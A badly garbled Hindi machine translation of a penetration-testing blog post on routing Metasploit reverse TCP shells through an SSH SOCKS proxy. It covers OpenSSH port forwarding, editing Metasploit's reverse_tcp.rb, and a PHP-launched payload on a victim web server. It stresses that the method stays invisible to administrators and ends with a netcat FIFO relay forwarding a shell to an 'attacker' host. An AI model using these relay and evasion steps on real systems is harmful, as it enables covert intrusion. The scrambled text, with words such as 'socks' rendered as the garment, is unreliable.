MSF रिवर्स टीसीपी पेलोड के साथ ssh मोजे प्रॉक्सी का उपयोग करना

यह नि: शुल्क अनुवाद पदों, जो शुरू कर दिया की एक संख्या को पढ़ने के बाद एक विषय के खुद को समझने के लिए आवश्यकता से प्रेरित था यहाँ , धन्यवाद habrayuzeru levinkv

MSF रिवर्स टीसीपी पेलोड के साथ ssh मोजे प्रॉक्सी का उपयोग करना

कभी कभी pentesteram विभिन्न प्रॉक्सी के माध्यम से अपने नेटवर्क यातायात को रीडायरेक्ट करने की जरूरत है, या उनके पटरियों को छिपाने के लिए बाईपास फायरवॉल को निजी नेटवर्क तक पहुंच हासिल करने। इन समस्याओं को हल करने के लिए विशेषज्ञों के परीक्षण के लिए नेटवर्क आर्किटेक्चर की एक किस्म में विविध अवसरों सुरंग और काम करने के लिए यातायात पुनर्निर्देशन के एक शस्त्रागार है। ऐसे काम का प्रत्येक मामला निश्चित रूप से प्रॉक्सी सर्वर पर चलने वाली सेवाओं और इन सेवाओं तक पहुंच के स्तर पर निर्भर करता है।

मेरे पसंदीदा मामलों में से एक (कई अन्य लोगों की तरह) ओपनएसएसएच सोक्स प्रॉक्सी के साथ काम कर रहा है। दूरस्थ ssh प्रॉक्सी आपको विभिन्न तरीकों से ssh सुरंग के माध्यम से यातायात को पुनर्निर्देशित करने की अनुमति देता है। फिर भी, मोजे प्रॉक्सी के मामले में एक प्रमुख दोष है - आप टीसीपी sushestvuet रिवर्स का उपयोग "नहीं कर सकते" पेलोड है, जो साथ आपूर्ति की जाती Metasploit ढांचे (और कई अन्य इसी प्रकार के साधनों)। हालाँकि, यह पूरी तरह सच नहीं है । Ssh पुनर्निर्देशन का उपयोग करते समय प्रतिबंधों को रोकने के लिए कुछ ओपनएसएसएच सुविधाओं को सक्षम करना संभव है।


ऐसे कई पीएचपी, जावा, HTTP, डीएनएस, आदि के रूप में टीसीपी रिवर्स पेलोड, के लिए विकल्प के बहुत देखते हैं कि कहेंगे यह सच है, लेकिन उनमें से ज्यादातर विशिष्ट अनुप्रयोग पर निर्भर हैं और कुछ परिस्थितियों में स्थिर नहीं हैं। इसके अलावा, ये विकल्प कुछ परिचालन सीमाओं के कारण हमेशा लागू नहीं होते हैं।

अन्य सूचित किया है कि कार्यों Metasploit meterpreter (ढांचा मार्गों + बंदरगाह आगे ) मोजे का उपयोग न करें पारंपरिक प्रॉक्सी के माध्यम से पुन: निर्देशन यातायात के लिए इस्तेमाल किया जा सकता है। इस पद्धति का एक नुकसान यह है स्थिरता की कमी (पोस्ट लिखने के समय कम से कम) लिनक्स के लिए meterpreter पेलोड प्रॉक्सी।

अब आप देख चुके हैं कि कि कुछ परिस्थितियों में उपयोग मोजे प्रॉक्सी केवल स्थिर से एक है, देखते हैं कि हम क्या रिवर्स TCP कनेक्शन सीमाओं को बदल सकते हैं करते हैं।

जब रिवर्स टीसीपी पेलोड का उपयोग किया जाता है, तो पीड़ित का कंप्यूटर हमलावर के आईपी पते से जुड़ने की कोशिश करता है। आप SSH जुराबें प्रॉक्सी का प्रयोग कर रहे हैं, तो कंप्यूटर प्रॉक्सी के हमलावर के ip- पते के आईपी-पते के रूप में शिकार का उपयोग करता है। इसलिए, रिवर्स टीसीपी पेलोड प्रॉक्सी से कनेक्ट करने की कोशिश करेगा, और हमलावर को नहीं। Metasploit ढांचा पूरी तरह से इस समस्या को जब प्रॉक्सी मोजे टीसीपी पेलोड को उल्टा करने के लिए प्रयोग किया जाता हल करती है।

मूल विचार करने के लिए बाईपास इस तरह के प्रतिबंध प्रॉक्सी के लिए वापसी कनेक्शन पर सही पता करने के लिए पैकेट की डिलीवरी के लिए प्रॉक्सी पुनर्निर्देशन तंत्र का उपयोग करने के लिए है है। प्रस्तुत विधि संभव है जब निम्नलिखित शर्तें पूरी हों:

1. ssh कनेक्ट करने की क्षमता एक प्रॉक्सी (नियमित उपयोगकर्ता या व्यवस्थापक, प्रत्येक मामले की अलग से जांच की जाती है)
2. प्रॉक्सी में कम से कम एक अप्रयुक्त खुला पोर्ट है
3. प्रॉक्सी में पीड़ित के कंप्यूटर से कनेक्ट करने की क्षमता है।

इस लेख के बाकी हिस्सों के लिए, निम्नलिखित नेटवर्क टोपोलॉजी का उपयोग किया जाएगा:



सबसे पहले, ss मोजे प्रॉक्सी कनेक्शन स्थापित करें और इसे प्रॉक्साइहांस के माध्यम से परखें :



SSH मोज़े प्रॉक्सी काम करता है और हम पीड़ित के कंप्यूटर तक पहुँचने के लिए इसका उपयोग कर सकते हैं:



अब, अगर हम टीसीपी पेलोड के साथ एक साथ हमारे मोज़े प्रॉक्सी का उपयोग करने का प्रयास करें, Metasploit इस त्रुटि दिखा सकते हैं:



ओपनएसएसएच में पोर्ट फॉरवर्डिंग फीचर्स हमें इस बाधा के आसपास पहुंचने में मदद करेंगे। प्रॉक्सी सेवाओं के लिए हमलावर के पहुंच स्तर के आधार पर दो विकल्प कवर किए जाएंगे:

1. प्रशासनिक पहुंच: ओपनएसएसएच कॉन्फ़िगरेशन परिवर्तन और सभी अग्रेषण सुविधाओं का उपयोग
2. उपयोगकर्ता का उपयोग: एक दूसरे ssh सुरंग को व्यवस्थित करने के लिए स्थानीय OpenSSH पोर्ट का उपयोग करना

जो लोग स्थानीय और दूरस्थ अग्रेषण SSH बंदरगाहों से परिचित उपवास के अंत में संदर्भ पढ़ने के लिए सिफारिश कर रहे हैं नहीं हैं।

इससे पहले कि हम जारी रखने के लिए, आइए अक्षम स्कैनिंग रिवर्स टीसीपी मोजे प्रॉक्सी Metasploit इन सभी मामलों का परीक्षण करने के। सौभाग्य से हमारे लिए, मेटस्प्लोइट का मॉड्यूलर आर्किटेक्चर इस सुविधा को लागू करना आसान बनाता है। तुम बस लाइनों बाहर टिप्पणी करने के लिए «lib / एमएसएफ / कोर / हैंडलर में 68-70 है / reverse_tcp.rb»



1. प्रॉक्सी की प्रशासनिक पहुंच

OpenSSH में रिमोट पोर्ट अग्रेषण हमलावर के बंदरगाह 53 करने के लिए प्रॉक्सी पर बंदरगाह 4444 को पुन: निर्देशन नेटवर्क यातायात का उपयोग करता है। कैसे OpenSSH स्थानीय होस्ट पर एक ही बंदरगाह के लिए दूरदराज के अग्रेषण प्रॉक्सी (हमारे मामले में 4444) पोर्ट से कनेक्ट हो जाएगा के लिए मैनुअल कनेक्शन का उल्लेख है। लोकलहोस्ट पर एक बंधन पीड़ित से आने वाले कनेक्शन को अवरुद्ध कर देगा। तो हमारे पास sshd कॉन्फ़िगरेशन बदलने और GatewayPorts विकल्प को सक्षम करने के लिए व्यवस्थापक अधिकार होने चाहिए।

जब पेलोड काम करता है, तो नेटवर्क इस तरह दिखाई देगा:



जारी रखने के लिए, आइए देखें कि सब कुछ netcat के साथ काम करता है:



यदि आप एक स्थानीय हमलावर पते का उपयोग कर रहे हैं, तो एक सुरंग, घड़ी की कल (और कोई आश्चर्य नहीं) की तरह चलाने हालांकि Metasploit सत्र प्रबंधक कनेक्शन पहचान करने में सक्षम आईपी पतों की बजाय काम बाधित नहीं हो सकता है और होगा। Tcpdump का उपयोग करते हुए कुछ (वैकल्पिक) अध्ययन स्पष्ट कर सकते हैं कि इस तरह के रीडायरेक्ट कैसे काम करते हैं।

यह सुनिश्चित करने के बाद कि हमारा प्रॉक्सी सही ढंग से काम कर रहा है, चलिए मेटस्प्लोइट पर जाते हैं। हम लिनक्स x86 रिवर्स टीसी स्टैगेड शेल पेलोड उत्पन्न करेंगे और पीड़ित के कंप्यूटर में भरेंगे। पेलोड चलाने के लिए, हम एक PHP स्क्रिप्ट का उपयोग करते हैं, इसे Apache सर्वर के लिए वेब पेजों के साथ डायरेक्टरी में रखते हैं। डेटा पेलोड की पीढ़ी के दौरान, निम्नलिखित: LHOST प्रॉक्सी (इस उदाहरण में 4444) LPORT के रूप में पता है, जो हमलावर को प्रॉक्सी के माध्यम से भेजा जाता है के रूप में परिभाषित किया गया था।



बाद एक अतिरिक्त मॉड्यूल (एकल GET अनुरोध) के साथ रन पेलोड जाने और एक प्रॉक्सी मोजे के माध्यम से कनेक्शन स्थापित:





2. प्रॉक्सी उपयोगकर्ता की पहुंच

प्रॉक्सी तक उपयोगकर्ता की पहुंच का मतलब है कि हम sshd सेटिंग्स में गेटवेपोर्ट्स विकल्प को सेट नहीं कर सकते हैं। इसलिए हमें कॉल फ़ॉरवर्डिंग को लागू करने का एक और तरीका खोजना होगा। इस मामले में, हम स्थानीय अग्रेषण (एल) के लिए विकल्प का उपयोग और प्रॉक्सी द्वारा lokalhost के लिए एक दूसरी सुरंग कर देगा। -G ध्वज का उपयोग सॉकेट को 0.0.0.0 से जोड़ने के लिए किया जाता है, जिससे लोकलहोस्ट के अलावा आने वाले कनेक्शन की अनुमति मिलती है।

इसलिए, रिवर्स कनेक्शन निम्न रूप लेगा:



Metasploit का उपयोग करने से पहले एक सामान्य netcat जांच:



अंत में, मोजे प्रॉक्सी रिवर्स टीसीपी पेलोड के साथ भी सफलतापूर्वक काम करता है:





मिशन पूरा हुआ! हम ग ssh जुराबें प्रॉक्सी एक रिवर्स टीसीपी पेलोड का उपयोग करें और OpenSSH के विभिन्न कार्यों का उपयोग करने में कामयाब रहे। बेशक, किसी को विभिन्न अन्य तरीकों (iptables, तीसरे पक्ष के उपकरणों, आदि) में एक प्रॉक्सी पर बंदरगाहों अग्रेषण कर सकते हैं। OpenSSH चुना गया था क्योंकि ssh Socks proxies के साथ काम पहले से ही इसमें उपलब्ध है और अक्सर यह काम सिस्टम एडमिनिस्ट्रेटर के लिए अदृश्य होता है, जबकि अन्य टूल उनके काम का संकेत दे सकते हैं (और निश्चित रूप से, iptables के साथ काम करना उपयोगकर्ता के पहुँच स्तर के साथ संभव नहीं है। ।
यह आदर्श अगर ऊपर वर्णित विधि किसी भी तरह Metasploit फ्रेमवर्क में लागू किया जाएगा, यह संभव विभिन्न परिदृश्यों मोजे प्रॉक्सी में रिवर्स टीसीपी पेलोड उपयोग करने के लिए कर रही हो जाएगा।

संदर्भ:
www.linuxhorizon.ro/ssh-tunnel.html
www.opennet.ru/base/sec/ssh_tunnel.txt.html
www.fedora.md/wiki/%D0%92%D1%81%D0%B5_%D1%87%D1%82%D0%BE_%D0%92%D1%8B_%D1%85%D0%BE%D1 % 82% D0% B5% D0% BB% D0% B8_% D0% B7% D0% BD% D0% B0% D1% 82% D1% 8C_% D0% BE_SSH
www.metasploit.com
seclists.org/metasploit/2009/q2/143
www.offensive-security.com/metasploit-unleashed/Metasploit_Meterpreter_Basics
www.offensive-security.com/metasploit-unleashed/Pivoting

ए। बीट्सटौडिस

- {अपडेट ११ जून २०१२} -
एक प्रॉक्सी से एक हमलावर के लिए पोर्ट अग्रेषण भी आसानी से netcat का उपयोग करके व्यवस्थित किया जा सकता है। नेटकाट का उपयोग करते समय सावधान रहें, क्योंकि इसका संचालन कुछ घुसपैठ का पता लगाने वाले सिस्टम में खतरनाक हो सकता है। आदेश प्रॉक्सी (Ncat, netcat stunnel, आदि) के साथ एन्क्रिप्टेड चैनल स्थापित करने के लिए छिपा हुआ कनेक्शन का प्रयास स्थापित करने के लिए है।

रूट @ प्रॉक्सी: ~ # mkfifo पाइप
root @ प्रॉक्सी: ~ # nc -nvlp 4444 0 <पाइप | एनसी हमलावर 53 1> पाइप

मूल लिंक ।